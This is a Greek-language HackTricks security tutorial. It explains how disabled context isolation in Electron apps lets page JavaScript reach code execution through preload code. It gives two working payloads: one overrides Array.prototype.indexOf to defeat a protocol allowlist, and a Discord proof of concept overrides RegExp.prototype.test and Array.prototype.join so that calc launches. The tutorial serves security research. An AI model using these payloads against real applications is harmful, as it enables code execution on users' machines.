Electron contextIsolation RCE via preload code

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Παράδειγμα 1

Παράδειγμα από https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Αυτός ο κώδικας ανοίγει http(s) συνδέσεις με τον προεπιλεγμένο περιηγητή:

Κάτι σαν file:///C:/Windows/systemd32/calc.exe μπορεί να χρησιμοποιηθεί για να εκτελέσει τον αριθμομηχανή, το SAFE_PROTOCOLS.indexOf το εμποδίζει.

Έτσι, ένας επιτιθέμενος μπορεί να εισαγάγει αυτόν τον κώδικα JS μέσω του XSS ή της αυθαίρετης πλοήγησης σε σελίδα:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Καθώς η κλήση στην SAFE_PROTOCOLS.indexOf θα επιστρέψει πάντα 1337, ο επιτιθέμενος μπορεί να παρακάμψει την προστασία και να εκτελέσει τον υπολογιστή. Τελική εκμετάλλευση:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Ελέγξτε τις αρχικές διαφάνειες για άλλους τρόπους εκτέλεσης προγραμμάτων χωρίς να ζητείται άδεια.

Φαίνεται ότι ένας άλλος τρόπος φόρτωσης και εκτέλεσης κώδικα είναι να αποκτηθεί πρόσβαση σε κάτι σαν file://127.0.0.1/electron/rce.jar

Παράδειγμα 2: RCE στην εφαρμογή Discord

Παράδειγμα από https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Κατά τον έλεγχο των προφορτωτών σεναρίων, ανακάλυψα ότι η Discord αποκαλύπτει τη συνάρτηση, η οποία επιτρέπει την κλήση ορισμένων επιτρεπόμενων ενοτήτων μέσω DiscordNative.nativeModules.requireModule('MODULE-NAME'), στην ιστοσελίδα. Εδώ, δεν μπορούσα να χρησιμοποιήσω ενότητες που μπορούν να χρησιμοποιηθούν για RCE απευθείας, όπως η ενότητα child_process, αλλά βρήκα έναν κώδικα όπου μπορεί να επιτευχθεί RCE με την αντικατάσταση των ενσωματωμένων μεθόδων της JavaScript και την παρεμβολή στην εκτέλεση της αποκαλυπτόμενης ενότητας.

Το παρακάτω είναι το PoC. Μπόρεσα να επιβεβαιώσω ότι η εφαρμογή calc εμφανίζεται όταν καλώ την συνάρτηση getGPUDriverVersions, η οποία έχει οριστεί στην ενότητα με το όνομα "discord_utils", από το devTools, ενώ αντικαθιστώντας τις μεθόδους RegExp.prototype.test και Array.prototype.join.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Η συνάρτηση getGPUDriverVersions προσπαθεί να εκτελέσει το πρόγραμμα χρησιμοποιώντας τη βιβλιοθήκη "execa", όπως φαίνεται παρακάτω:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Συνήθως το execa προσπαθεί να εκτελέσει το "nvidia-smi.exe", το οποίο καθορίζεται στη μεταβλητή nvidiaSmiPath, ωστόσο, λόγω της αντικατάστασης των RegExp.prototype.test και Array.prototype.join, το όρισμα αντικαθίσταται με τον όρο "calc" στην εσωτερική επεξεργασία του _execa_**.

Συγκεκριμένα, το όρισμα αντικαθίσταται αλλάζοντας τα παρακάτω δύο μέρη.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated